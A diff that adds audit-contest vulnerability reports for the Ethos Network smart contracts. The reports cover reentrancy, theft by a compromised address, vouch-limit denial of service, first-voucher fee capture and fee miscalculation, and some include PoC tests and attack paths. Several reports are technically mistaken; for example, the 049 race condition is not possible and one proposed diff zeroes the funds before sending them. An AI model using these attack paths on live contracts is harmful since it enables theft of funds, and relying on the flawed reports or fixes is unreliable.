+ const originalConfigAtIndex0 = initialMarketConfigs[0]; + const originalConfigAtLastIndex = initialMarketConfigs[initialMarketConfigs.length - 1]; + + // Updated configuration at index 0 + const updatedConfigAtIndex0 = updatedMarketConfigs[0]; + + // Verify that the updated config at index 0 matches the original last config (Premium tier) + expect(updatedConfigAtIndex0.initialLiquidity).to.equal(originalConfigAtLastIndex.initialLiquidity); + expect(updatedConfigAtIndex0.initialVotes).to.equal(originalConfigAtLastIndex.initialVotes); + expect(updatedConfigAtIndex0.basePrice).to.equal(originalConfigAtLastIndex.basePrice); + + // Now, when a user calls createMarketWithConfig(0), they will get the Premium tier instead of Default + // Allow userA to create a market (if not already allowed) + await reputationMarket.connect(deployer.ADMIN).setUserAllowedToCreateMarket(DEFAULT.profileId, true); + + // User A creates a market with config index 0 + await reputationMarket.connect(userA.signer).createMarketWithConfig(0, { + value: updatedConfigAtIndex0.initialLiquidity, + }); + + // Get the market for userA + const market = await reputationMarket.getMarket(DEFAULT.profileId); + + // Check that the market was created with the wrong config (Premium tier instead of Default) + expect(market.trustVotes).to.equal(updatedConfigAtIndex0.initialVotes); + expect(market.distrustVotes).to.equal(updatedConfigAtIndex0.initialVotes); + + // The expected initialVotes should NOT match the Default tier's initialVotes (which is 1) + expect(market.trustVotes).to.not.equal(originalConfigAtIndex0.initialVotes); + + // Output the mismatch for clarity + console.log( + `Mismatch: Users calling market config at index 0 expect initialVotes ${originalConfigAtIndex0.initialVotes.toString()}, but get ${market.trustVotes.toString()}`, + ); + }); + }); +``` + +Test output +```javascript +Market Configurations Reordering +Market config count is: 3n +Initial config is: Result(3) [ 20000000000000000n, 1n, 10000000000000000n ] +Initial config is: Result(3) [ 500000000000000000n, 1000n, 10000000000000000n ] +Initial config is: Result(3) [ 1000000000000000000n, 10000n, 10000000000000000n ] +Updated config is: Result(3) [ 1000000000000000000n, 10000n, 10000000000000000n ] +Updated config is: Result(3) [ 500000000000000000n, 1000n, 10000000000000000n ] +Mismatch: Users calling market config at index 0 expect initialVotes 1, but get 10000 + ✔ should demonstrate that removing market config reorders configs leading to incorrect market creation +``` + +### Mitigation + +Avoid reordering the elements of the `marketConfigs` array. Implement changes that will maintain the array's order irrespective of the index that gets deleted. \ No newline at end of file diff --git a/045.md b/045.md new file mode 100644 index 0000000..dea1752 --- /dev/null +++ b/045.md @@ -0,0 +1,40 @@ +Square Flint Grasshopper + +High + +# Reentrancy Vulnerability in `withdrawGraduatedMarketFunds` Allows Contract Draining + +### Summary + +The withdrawGraduatedMarketFunds function in the contract contains a reentrancy vulnerability. The _sendEth() function is called before resetting the marketFunds[profileId] value to 0. This allows a malicious contract to reenter the function and repeatedly withdraw funds associated with the same profileId, potentially draining the contract's funds. + +### Root Cause + +In [ReputationMarket.sol:675](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L675) is sent `arketFunds[profileId]` wei which assume is not zero. +In [ReputationMarket.sol:677](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L677) it is reset to zero, but before it can be recalled and `arketFunds[profileId]` will have old, not updated value. + +### Internal pre-conditions + +1. Authorized account try to take more eth than it should. + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Attacker creates contract which has implemented receive() and implement calling `withdrawGraduatedMarketFunds` funciton in it. +2. It calls function `withdrawGraduatedMarketFunds`. +3. Function is recalled and eth is transferred to the contract + +### Impact + +The contract may be drained(ETH only) if wrong contract will be passed as trusted. + +### PoC + +_No response_ + +### Mitigation + +reinit value to new variable and reset `marketFunds[profileId]` before sending ether to the sender. \ No newline at end of file diff --git a/046.md b/046.md new file mode 100644 index 0000000..f38a0aa --- /dev/null +++ b/046.md @@ -0,0 +1,39 @@ +Plain Midnight Peacock + +High + +# Function _createMarket is not payable and it use msg.value + +### Summary + +The function _createMarket() is not payable function. In the function, it use msg.value to compare with initialLiquidityRequired. + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L315-L350 + +The function is not a payable function, the usage of msg.value is not allowed in the function. And also the comparision between msg.value and initialLiquidtyRequired is meaningless. The function will not work as expected due to this issue. To fix it, better claim a variable to bring msg.value from the function which called funtion _createMarket to function _createMarket. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +_No response_ + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/047.md b/047.md new file mode 100644 index 0000000..a9956f6 --- /dev/null +++ b/047.md @@ -0,0 +1,48 @@ +Keen Spruce Bison + +High + +# Reentrancy Attack in `ReputationMarket::withdrawGraduatedMarketFunds()` + +## Summary + +Reentrancy attack occurs when protocol not implemented yet CEI pattern in `ReputationMarket::withdrawGraduatedMarketFunds()`. Attacker could still all of funds from protocol. + +## Vulnerability detail + +This vulnerability comes from protocol not doing check-effect-interactions in system. Let's see code below : + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L660-L678 + +Native token are sent first and then state of `marketFunds[profileId]` is updated after sending the native token. It can impact reentrancy attack to the protocol. + +## Impact + +Attacker can still all of funds from the protocol. + +## Recommendations + +Implement CEI to avoid reentrancy attack + +```diff + function withdrawGraduatedMarketFunds(uint256 profileId) public whenNotPaused { + address authorizedAddress = contractAddressManager.getContractAddressForName( + "GRADUATION_WITHDRAWAL" + ); + if (msg.sender != authorizedAddress) { + revert UnauthorizedWithdrawal(); + } + _checkMarketExists(profileId); + if (!graduatedMarkets[profileId]) { + revert MarketNotGraduated(); + } + if (marketFunds[profileId] == 0) { + revert InsufficientFunds(); + } + ++ marketFunds[profileId] = 0; + _sendEth(marketFunds[profileId]); + emit MarketFundsWithdrawn(profileId, msg.sender, marketFunds[profileId]); +- marketFunds[profileId] = 0; + } +``` \ No newline at end of file diff --git a/048.md b/048.md new file mode 100644 index 0000000..e7ba1bb --- /dev/null +++ b/048.md @@ -0,0 +1,56 @@ +Bubbly Porcelain Blackbird + +High + +# `withdrawDonations()` does not check whether the address of a profileId is compromised, allows stealing the enitre donated amount + +### Summary + +The `withdrawDonations()` missed the `isAddressCompromised(msg.sender)` check before withdrawing the donations amount, +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L570 + +### Root Cause + +Under a `profileId`, there can be multiple registered addresses including the main address. All these addresses are also maps back to the profileId also. If one of address get compromised, the main address can perform a `EthosProfile.deleteAddress()` call, this marks the `isAddressCompromised[compromiseAddress]` to true. + +The issue here is that the established market under a `profileId` can still have a non-zero `donationEscrow[address]` balance for the compromised address, which can be steal simply by calling the `withdrawDonations()` function. + +### Attack Path + +1. Alice `createMarket()` under a `profileId==1`, the `donationRecipient[1]` sets to `address(alice)` +2. Alice `updateDonationRecipient()` to `address(alice2)`, +3. Market performed well, she received some donations, however, the current `donationRecipient[address(alice2)]` get compromised, +4. Immediate action taken by Alice(the main address), calls `deleteAddress(alice2,true)`, marking the `address(alice2)` compromised there, +> **Note:** To take action against compromised address, two steps required considering address(alice) is an EOA, 1). marks the address compromise to prevent any further damages to profile, 2). `updateDonationRecipient` on `ReputationMarket` to avoid giving away the collected donation + +5. As another crucial step, Alice tries changing the `donationRecipient` by making a `updateDonationRecipient` call on the `ReputationMarket` +6. However, attacker saw changed compromised status for `address(alice2)`, and swiftly proceed to the `withdrawDonations()` before the Alice call lends first. + +The attacker managed to steal the collected donation funds without needing to frontrun any of the txn(since its 2 step process). + +### Impact +Donation funds can be steal by a compromised address, due to missing `isAddressCompromised` check before withdrawing. + +### Mitigation + +```diff + function withdrawDonations() public whenNotPaused returns (uint256) { ++ if (_ethosProfileContract.isAddressCompromised(msg.sender)) { ++ revert AddressCompromised(msg.sender); ++ } + uint256 amount = donationEscrow[msg.sender]; + if (amount == 0) { + revert InsufficientFunds(); + } + + // Reset escrow balance before transfer to prevent reentrancy + donationEscrow[msg.sender] = 0; + + // Transfer the funds + (bool success, ) = msg.sender.call{ value: amount }(""); + if (!success) revert FeeTransferFailed("Donation withdrawal failed"); + + emit DonationWithdrawn(msg.sender, amount); + return amount; + } +``` \ No newline at end of file diff --git a/049.md b/049.md new file mode 100644 index 0000000..6a31085 --- /dev/null +++ b/049.md @@ -0,0 +1,191 @@ +Cheery Mustard Swallow + +High + +# Potential Race Conditions in `EthosVouch::vouchByProfileId` can lead to loss of funds, future rewards and vouch related data for users + +### Summary + +A critical race condition exists in `EthosVouch::vouchByProfileId` where the global state variable `vouchCount` is used as the key for storing vouches in the `vouches` mapping. During high traffic periods, multiple transactions can observe the same stale `vouchCount` value in the mempool. When these transactions execute in subsequent blocks, the later transaction **will** overwrite the earlier transaction's vouch data at the same mapping position, resulting in permanent vouch data loss and inconsistent protocol state. This is possible because the function lacks checks to prevent multiple vouches from using the same `vouchCount` value as their mapping key. + +### Root Cause + +The vulnerability stems from the use of a global `vouchCount` state variable as a `vouchId` key for storing `vouch` data in the vouches mapping without a strict check on whether the `vouchId` already exists and belongs to a different `authorProfile` when writing to state. When multiple transactions attempt to create vouches simultaneously or in the same timeframe by calling [vouchByProfileId()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L330-L415) they may read the same vouchCount value before either transaction is mined, leading to a collision/overwriting in the vouches mapping. + + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Initial state: `vouchCount = 5` +2. Transaction A from Alice reads `vouchCount` as 5 +3. Transaction B from Bob reads `vouchCount` as 5 +4. Transaction A gets mined: +Creates `vouches[5]` with Alice's data +Updates associated mappings +Increments `vouchCount` to 6 +5. Transaction B gets mined: +Overwrites `vouches[5]` with Bob's data and creates chaos within the system. + +### Impact + +1. Data Loss: The first vouch's data is permanently lost when overwritten +2. Inconsistent State: Array mappings (vouchIdsByAuthor, vouchIdsForSubjectProfileId) contain inconsistent references +3. Missing Vouches: Only one vouch is recorded when two should exist +4. Fund Loss Risk: The funds tied to vouch data, could get misattributed or lost +5. Trust System Corruption: Compromises the entire vouch system + +### PoC + +While simulating concurrent `vouchByProfileId` transactions in the mempool is complex, examining the function's implementation reveals the vulnerability: + +```solidity + function vouchByProfileId( + uint256 subjectProfileId, + string calldata comment, + string calldata metadata + ) public payable whenNotPaused nonReentrant { + // validate author profile + uint256 authorProfileId = IEthosProfile( + contractAddressManager.getContractAddressForName(ETHOS_PROFILE) + ).verifiedProfileIdForAddress(msg.sender); + + // pls no vouch for yourself + if (authorProfileId == subjectProfileId) { + revert SelfVouch(authorProfileId, subjectProfileId); + } + + // users can't exceed the maximum number of vouches + if (vouchIdsByAuthor[authorProfileId].length >= maximumVouches) { + revert MaximumVouchesExceeded( + vouchIdsByAuthor[authorProfileId].length, + "Exceeds author vouch limit" + ); + } + + // validate subject profile + if (subjectProfileId == 0) { + revert InvalidEthosProfileForVouch(subjectProfileId); + } + (bool verified, bool archived, bool mock) = IEthosProfile( + contractAddressManager.getContractAddressForName(ETHOS_PROFILE) + ).profileStatusById(subjectProfileId); + + // you may not vouch for archived profiles + // however, you may vouch for verified AND mock profiles + // we allow vouching for mock profiles in case they are later verified + if (archived || (!mock && !verified)) { + revert InvalidEthosProfileForVouch(subjectProfileId); + } + + // one vouch per profile per author + _vouchShouldNotExistFor(authorProfileId, subjectProfileId); + + // don't exceed maximum vouches per subject profile + if (vouchIdsForSubjectProfileId[subjectProfileId].length >= maximumVouches) { + revert MaximumVouchesExceeded( + vouchIdsForSubjectProfileId[subjectProfileId].length, + "Exceeds subject vouch limit" + ); + } + + // must meet the minimum vouch amount + if (msg.value < configuredMinimumVouchAmount) { + revert MinimumVouchAmount(configuredMinimumVouchAmount); + } + + (uint256 toDeposit, ) = applyFees(msg.value, true, subjectProfileId); + + // store vouch details + uint256 count = vouchCount; + vouchIdsByAuthor[authorProfileId].push(count); + vouchIdsByAuthorIndex[authorProfileId][count] = vouchIdsByAuthor[authorProfileId].length - 1; + vouchIdsForSubjectProfileId[subjectProfileId].push(count); + vouchIdsForSubjectProfileIdIndex[subjectProfileId][count] = + vouchIdsForSubjectProfileId[subjectProfileId].length - + 1; + + vouchIdByAuthorForSubjectProfileId[authorProfileId][subjectProfileId] = count; + vouches[count] = Vouch({ + archived: false, + unhealthy: false, + authorProfileId: authorProfileId, + authorAddress: msg.sender, + vouchId: count, + balance: toDeposit, + subjectProfileId: subjectProfileId, + comment: comment, + metadata: metadata, + activityCheckpoints: ActivityCheckpoints({ + vouchedAt: block.timestamp, + unvouchedAt: 0, + unhealthyAt: 0 + }) + }); + + emit Vouched(count, authorProfileId, subjectProfileId, msg.value); + vouchCount++; + } +``` + +It is clear to see that there is no explicit check similar to +```solidity +if (vouches[vouchId].authorAddress != msg.sender) { + revert AddressNotVouchAuthor(vouchId, msg.sender, vouches[vouchId].authorAddress); + } +``` +that is used in functions like `unvouch` although for this function it might look like +```solidity +if (vouches[count].authorAddress != address(0)) { + revert someError; +} +``` + +A simple way to test this, is to comment out this if statement: `if (vouches[vouchId].authorAddress != msg.sender) { + revert AddressNotVouchAuthor(vouchId, msg.sender, vouches[vouchId].authorAddress); + }` from `unvouch` and then run a test like + +```typescript +it('should allow any address to unvouch due to missing authorization check', async () => { + // Create vouch from userA to userB + await userA.vouch(userB); + const vouch = await ethosVouch.verifiedVouchByAuthorForSubjectProfileId( + userA.profileId, + userB.profileId, + ); + + // Create a random attacker address that has no relation to the vouch + const attackerWallet = await deployer.newWallet(); + + // Attacker should be able to call unvouch() successfully + // Even though they aren't the vouch author + await expect(ethosVouch.connect(attackerWallet).unvouch(vouch.vouchId)) + .to.not.be.reverted; + + // Verify the vouch was actually unvouched + const updatedVouch = await ethosVouch.vouches(vouch.vouchId); + expect(updatedVouch.activityCheckpoints.unvouchedAt).to.be.greaterThan(0); + expect(updatedVouch.archived).to.be.true; +}); +``` + +The lack of explicit checks in `vouchByProfileId`, which uses `vouchCount` as the `vouchId` to register vouches, means any caller can potentially overwrite values in the `vouches` mapping under the right circumstances. In high-traffic scenarios, a second caller could overwrite another's vouch data due to the stale vouchCount value. + +### Mitigation + + +1. Add explicit checks that the vouchId exists and belongs to a different author at runtime, and cause the function call to revert e.g +```solidity +if (vouches[count].authorAddress != address(0)) { + revert someError; +} +``` +2. Consider implementing a vouchByProfileId transactions queue for potential high-traffic periods. + diff --git a/050.md b/050.md new file mode 100644 index 0000000..00344ba --- /dev/null +++ b/050.md @@ -0,0 +1,178 @@ +Overt Alabaster Cottonmouth + +High + +# Missing check in `unvouch()` allows compromised or deleted address to steal balance + +## Description +The protocol comments the following [inside unvouch()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L456-L458): +```text + // because it's $$$, you can only withdraw/unvouch to the same address you used to vouch + // however, we don't care about the status of the address's profile; funds are always attached + // to an address, not a profile +``` +But the protocol does not also check if the address belongs to the profile anymore. + +This leads to the following vulnerability: +1. Alice vouches for Bob using address A1. +2. A1 gets compromised and Alice marks it as compromised. (Alternatively, A1 is deleted by Alice and A1 gets assigned to some other profile id). +3. The attacker who compromised A1 can still call `unvouch()`. +4. The funds get sent back to A1, which the attacker now controls. +5. Alice has no recourse to block the attacker's actions or recover her funds. + +## Impact +Two impacts: +1. A compromised/deleted address is able to steal the funds via `unvouch()`. +2. Even if a check is introduced to block such addresses from receiving funds, there exists no way to rescue these funds and return to the rightful author. + +## Proof of Concept +Apply the following patch inside `test/EthosVouch.test.ts` and see it pass when run via `npm run hardhat -- test --grep "should allow compromised address to unvouch and receive funds"`: +```diff +diff --git a/ethos/packages/contracts/test/EthosVouch.test.ts b/ethos/packages/contracts/test/EthosVouch.test.ts +index be4d7f1..0424b29 100644 +--- a/ethos/packages/contracts/test/EthosVouch.test.ts ++++ b/ethos/packages/contracts/test/EthosVouch.test.ts +@@ -1,10 +1,11 @@ + import { loadFixture, time } from '@nomicfoundation/hardhat-toolbox/network-helpers.js'; + import { expect } from 'chai'; + import hre from 'hardhat'; + import { smartContractNames } from './utils/mock.names.js'; ++import { common } from './utils/common.js'; + + const { ethers } = hre; + + describe('EthosVouch', () => { + const DEFAULT_COMMENT = 'default comment'; + const DEFAULT_METADATA = '{ "someKey": "someValue" }'; +@@ -1202,9 +1203,78 @@ describe('EthosVouch', () => { + ), + ) + .to.be.revertedWithCustomError(ethosVouch, 'NotAuthorForVouch') + .withArgs(0, 5); + }); + }); ++ ++ describe('Vouch security', () => { ++ it('should allow compromised address to unvouch and receive funds', async () => { ++ const { ++ ethosProfile, ++ ethosVouch, ++ VOUCHER_0, ++ PROFILE_CREATOR_0, ++ OTHER_0, ++ EXPECTED_SIGNER, ++ OWNER ++ } = await loadFixture(deployFixture); ++ ++ // Set up profile for voucher ++ await ethosProfile.connect(OWNER).inviteAddress(VOUCHER_0.address); ++ await ethosProfile.connect(VOUCHER_0).createProfile(1); ++ ++ // Set up profile for subject ++ await ethosProfile.connect(OWNER).inviteAddress(PROFILE_CREATOR_0.address); ++ await ethosProfile.connect(PROFILE_CREATOR_0).createProfile(1); ++ ++ // VOUCHER_0 creates a vouch for PROFILE_CREATOR_0 ++ const vouchAmount = ethers.parseEther('100'); ++ await ethosVouch.connect(VOUCHER_0).vouchByProfileId( ++ 3, // PROFILE_CREATOR_0's profile ID ++ 'Vouch comment', ++ 'Vouch metadata', ++ { value: vouchAmount } ++ ); ++ ++ // Get VOUCHER_0's balance before their address is compromised ++ const voucherBalanceBefore = await ethers.provider.getBalance(VOUCHER_0.address); ++ ++ // Now simulate VOUCHER_0's address being compromised ++ // First register a new address for their profile so they can mark original as compromised ++ const randValue = BigInt('29548234957'); // Using a deterministic value for testing ++ const signature = await common.signatureForRegisterAddress( ++ OTHER_0.address, ++ '2', // VOUCHER_0's profile ID ++ randValue.toString(), ++ EXPECTED_SIGNER ++ ); ++ ++ await ethosProfile ++ .connect(VOUCHER_0) ++ .registerAddress(OTHER_0.address, 2, randValue, signature); ++ ++ // Mark VOUCHER_0's original address as compromised using their new address ++ await ethosProfile.connect(OTHER_0).deleteAddress(VOUCHER_0.address, true); // <------- Alternatively, can pass `false` as last param if only want to delete, without marking as compromised ++ ++ // Verify the address is marked as compromised ++ expect(await ethosProfile.isAddressCompromised(VOUCHER_0.address)).to.be.true; // <------- comment this if not marked as compromised in the step above ++ ++ // Despite being compromised, the address can still unvouch and receive funds ++ // Simulate the attacker who now controls VOUCHER_0's compromised address ++ const unvouchTx = await ethosVouch.connect(VOUCHER_0).unvouch(0); ++ await unvouchTx.wait(); ++ ++ // Check that the compromised address received the funds ++ const voucherBalanceAfter = await ethers.provider.getBalance(VOUCHER_0.address); ++ // The balance should have increased (minus gas costs) ++ expect(voucherBalanceAfter).to.be.closeTo(voucherBalanceBefore + ethers.parseEther('100'), ethers.parseEther('0.001')); ++ ++ // Verify the vouch is now archived ++ const vouch = await ethosVouch.vouches(0); ++ expect(vouch.archived).to.be.true; ++ }); ++ }); ++ + }); + }); + }); + +``` + +## Mitigation +1. Add the check to revert if a compromised/deleted author address attempts to be the recipient of `unvouch()`: +```diff + function unvouch(uint256 vouchId) public whenNotPaused nonReentrant { + Vouch storage v = vouches[vouchId]; + _vouchShouldExist(vouchId); + _vouchShouldBePossibleUnvouch(vouchId); + // because it's $$$, you can only withdraw/unvouch to the same address you used to vouch + // however, we don't care about the status of the address's profile; funds are always attached + // to an address, not a profile + if (vouches[vouchId].authorAddress != msg.sender) { + revert AddressNotVouchAuthor(vouchId, msg.sender, vouches[vouchId].authorAddress); + } + ++ // get the profile id of the author ++ uint256 profileId = IEthosProfile( ++ contractAddressManager.getContractAddressForName(ETHOS_PROFILE) ++ ).verifiedProfileIdForAddress(msg.sender); ++ _vouchShouldBelongToAuthor(vouchId, profileId); + + v.archived = true; + // solhint-disable-next-line not-rely-on-time + v.activityCheckpoints.unvouchedAt = block.timestamp; + // remove the vouch from the tracking arrays and index mappings + _removeVouchFromArrays(v); + + // apply fees and determine how much is left to send back to the author + (uint256 toWithdraw, ) = applyFees(v.balance, false, v.subjectProfileId); + // set the balance to 0 and save back to storage + v.balance = 0; + // send the funds to the author + // note: it sends it to the same address that vouched; not the one that called unvouch + (bool success, ) = payable(v.authorAddress).call{ value: toWithdraw }(""); + if (!success) { + revert FeeTransferFailed("Failed to send ETH to author"); + } + + emit Unvouched(v.vouchId, v.authorProfileId, v.subjectProfileId); + } +``` + +2. The second fix is more of a design decision which the protocol can take. There should be a way to recover this fund on calling `unvouch()`. Either a new convenience function `reassignVouchAddress()` can be added which looks something like this: +```js +function reassignVouchAddress( + uint256 vouchId, + address newAddress, + bytes calldata signature // Signed proof of new address ownership +) external { +``` +Or the admin could float a proposal which allows them to rescue funds from such compromised vouches, and introduce a new function for the same. \ No newline at end of file diff --git a/051.md b/051.md new file mode 100644 index 0000000..558e6ab --- /dev/null +++ b/051.md @@ -0,0 +1,60 @@ +Slow Tan Swallow + +High + +# Creators can be DOSed + +### Summary + +When vouching the creator who we vouch for is checked for if it has more than the max allowed vouchers. If it does the TX revert, not allowing us to vouch for him. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L371-L377 +```solidity + if (vouchIdsForSubjectProfileId[subjectProfileId].length >= maximumVouches) { + revert MaximumVouchesExceeded( + vouchIdsForSubjectProfileId[subjectProfileId].length, + "Exceeds subject vouch limit" + ); + } +``` + +However this can be abused, by simply creating multiple accounts and vouching for a said creator with the minimum allowed amount (`ABSOLUTE_MINIMUM_VOUCH_AMOUNT`) which is 0.0001 ETH in order to prevent other honest vouchers who would have vouched bigger amounts (1 ETH or 10 ETH). + +### Root Cause + +Max allowed vouches per creator + +```solidity + if (vouchIdsForSubjectProfileId[subjectProfileId].length >= maximumVouches) { + revert MaximumVouchesExceeded( + vouchIdsForSubjectProfileId[subjectProfileId].length, + "Exceeds subject vouch limit" + ); + } +``` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. User does not like a creator and wants to DOS him and his vouchers +2. User creates multiple profiles and vouches for said creator with the min allowed amount +3. Since the chain is base and the min allowed amount is so little, it will take a few bucks to fully prevent a user from receiving vouches with actual value + +### Impact + +Users who are vouched for might have limited (or none) real vouchers. `maximumVouches` can be any number with the highest being 256, which means that the lower this number is, the easier for a user to be DOS in such a way. + +### PoC + +_No response_ + +### Mitigation + +Either allow infinite vouchers, where vouchers are minted 4626 vault shares (in order for `vouchersPoolFee` to work properly), or allow users to remove some of their vouchers. \ No newline at end of file diff --git a/052.md b/052.md new file mode 100644 index 0000000..8324688 --- /dev/null +++ b/052.md @@ -0,0 +1,58 @@ +Slow Tan Swallow + +Medium + +# First voucher attack + +### Summary + +When vouching for a user, you are forced to pay 3 fees `protocolFee`, `donationFee` and `vouchersPoolFee`, where the last is split between all the existing voucher based on their shares/balances. However if you are the first voucher since there are not other voucher you will not pay a fee and `_rewardPreviousVouchers` will return 0. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L706-L717 +```solidity + function _rewardPreviousVouchers( + uint256 amount, + uint256 subjectProfileId + ) internal returns (uint256 amountDistributed) { + // ... + + if (totalBalance == 0) { + return totalBalance; + } +``` + +However if you are the second voucher, you pay 100% of your fee to the first one, no matter his balance, since he would be the only "share" holder of that vouch. + +### Root Cause + +First voucher being given 100% of the fee, despite his minimal vouch. + +### Internal pre-conditions + +A user to be vouched for + +### External pre-conditions + +Users who want to vouch for another user + +### Attack Path + +1. User registers his account +2. Alice sees that and wants to vouch for said user 10 ETH +3. However Bob front-runs her and vouches 0.0001 ETH +4. Bob gets the full `vouchersPoolFee` (5% in this case) which is 0.5 ETH +5. Bob unvouches his balance and takes home the profit + +Note that a front-run is not always required for such attacks, if the user who is making the account is famous enough (100k followers on twitter for example) and announces that he is gonna be making an account, then a lot of users would rush in to vouch. A bot can simply observe the chain and back-run his account creation. + +### Impact + +First voucher attack will cause the first user to pay a massive fee to someone who is just here to exploit the new account creation. + +### PoC + +_No response_ + +### Mitigation + +The fee paying mechanism although interesting can pose a huge risk to it's users. Consider changing it's mechanics in order to split the fee in a way that would not allow such users to exploit new subjects. \ No newline at end of file diff --git a/053.md b/053.md new file mode 100644 index 0000000..7c2e2ad --- /dev/null +++ b/053.md @@ -0,0 +1,64 @@ +Slow Tan Swallow + +Medium + +# First voucher does not pay any fee + +### Summary + +When vouching for a user, the voucher must pay a `vouchersPoolFee`, which can be up to 10% of his vouched amount. That fee is divided between the rest of the vouchers as a reward. + +However the first user who vouches, does not pay the fee. That is because `_rewardPreviousVouchers` would return 0 in such a case, not charging the user anything. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L706-L717 +```solidity + for (uint256 i = 0; i < totalVouches; i++) { + Vouch storage vouch = vouches[vouchIds[i]]; + if (!vouch.archived) { + totalBalance += vouch.balance; + } + } + + if (totalBalance == 0) { + return totalBalance; + } +``` + +### Root Cause + +`_rewardPreviousVouchers` returning 0, allowing the first voucher to vouch without paying a `vouchersPoolFee` + +```solidity + if (totalBalance == 0) { + return totalBalance; + } +``` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +`protocolFee` is 1% and `donationFee` is 9% +1. Max total voucher per person are set to 5, as only whales will vouch +2. 5 users vouch, each vouching 100 ETH +3. The first user would pay 1 ETH as protocol fee, but the rest would pay 10 ETH + +The first user, either by accident or intent paid a fee which is 10 times less than the rest of the voucher + +### Impact + +First user avoids paying a fee + +### PoC + +_No response_ + +### Mitigation + +Send it as a donation to the one we are vouching for, in order to make the game fair for later participants too and incentive the user who people vouch for at all stages of the game. \ No newline at end of file diff --git a/054.md b/054.md new file mode 100644 index 0000000..1879989 --- /dev/null +++ b/054.md @@ -0,0 +1,24 @@ +Square Vermilion Alpaca + +Medium + +# No Storage Gap for Upgradeable Contract Might Lead to Storage Slot Collision + +**Vulnerability Details** +The AccessControl base contract is inherited in upgradeable contracts +- [EthosVouch.sol](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L67C1-L67C88) +- [ReputationMarket](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L36)) + +Suppose storage variables are added to these base contracts without accounting for a storage gap towards the child contracts. In that case, a storage collision may cause contracts to malfunction and compromise other functionalities. + +Storage Variable in AccessControl without considering storage gap! +```javascript +@> IContractAddressManager public contractAddressManager; +``` + +**Recommended Mitigation** +Consider adding a [gap variable](https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps) to future-proof base contract storage changes and be safe against storage collisions. + +```diff ++ uint256[50] private __gap; +``` \ No newline at end of file diff --git a/055.md b/055.md new file mode 100644 index 0000000..a1955cf --- /dev/null +++ b/055.md @@ -0,0 +1,86 @@ +Slow Tan Swallow + +Medium + +# `calcFee` calculates the fee wrongly + +### Summary + +`calcFee` does some math in order to calculate the fee. However the math is reversed for **fee addition** (`total = balance + fee`), but the contract uses **fee subtraction** (`balance = balance - fee`, so that `total = balance + fee`). + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L975-L989 +```solidity + function calcFee(uint256 total, uint256 feeBasisPoints) internal pure returns (uint256 fee) { + // total - total * BASIS_POINT_SCALE / (BASIS_POINT_SCALE + feeBasisPoints) + // total = 100 || feeBasisPoints = 10% (1000) + // 100e18 - 100e18 * 10e3 / (10e3 + 1000) = 9.0909e18 -> ~10% lower fee + return + total - + (total.mulDiv(BASIS_POINT_SCALE, (BASIS_POINT_SCALE + feeBasisPoints), Math.Rounding.Floor)); + } +``` + +This can be seen inside `applyFees`, where the `toDeposit` is just reduced by the fee, resulting in the user being charged the original `total` which he send as `msg.value`. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L929-L965 +```solidity + function applyFees(uint256 amount, bool isEntry, uint256 subjectProfileId) internal returns (uint256 toDeposit, uint256 totalFees) { + if (isEntry) { + // Calculate entry fees + uint256 protocolFee = calcFee(amount, entryProtocolFeeBasisPoints); + uint256 donationFee = calcFee(amount, entryDonationFeeBasisPoints); + uint256 vouchersPoolFee = calcFee(amount, entryVouchersPoolFeeBasisPoints); + + // Distribute fees + if (protocolFee > 0) { + _depositProtocolFee(protocolFee); + } + if (donationFee > 0) { + _depositRewards(donationFee, subjectProfileId); + } + if (vouchersPoolFee > 0) { + vouchersPoolFee = _rewardPreviousVouchers(vouchersPoolFee, subjectProfileId); + } + totalFees = protocolFee + donationFee + vouchersPoolFee; + toDeposit = amount - totalFees; +``` + +### Root Cause + +The impact of this is that the generated fees would be ~10% lower than expected. This would be true for the system (`protocolFee` and `exitFee`), while also for the vouchers (`vouchersPoolFee`) and the one they are vouching for (`donationFee`), as all of these use `calcFee`. + + +```solidity + function calcFee(uint256 total, uint256 feeBasisPoints) internal pure returns (uint256 fee) { + // total - total * BASIS_POINT_SCALE / (BASIS_POINT_SCALE + feeBasisPoints) + // total = 100 || feeBasisPoints = 10% (1000) + // 100e18 - 100e18 * 10e3 / (10e3 + 1000) = 9.0909e18 -> ~10% lower fee + return + total - + (total.mulDiv(BASIS_POINT_SCALE, (BASIS_POINT_SCALE + feeBasisPoints), Math.Rounding.Floor)); + } +``` + +### Internal pre-conditions + +_No response_ + +### 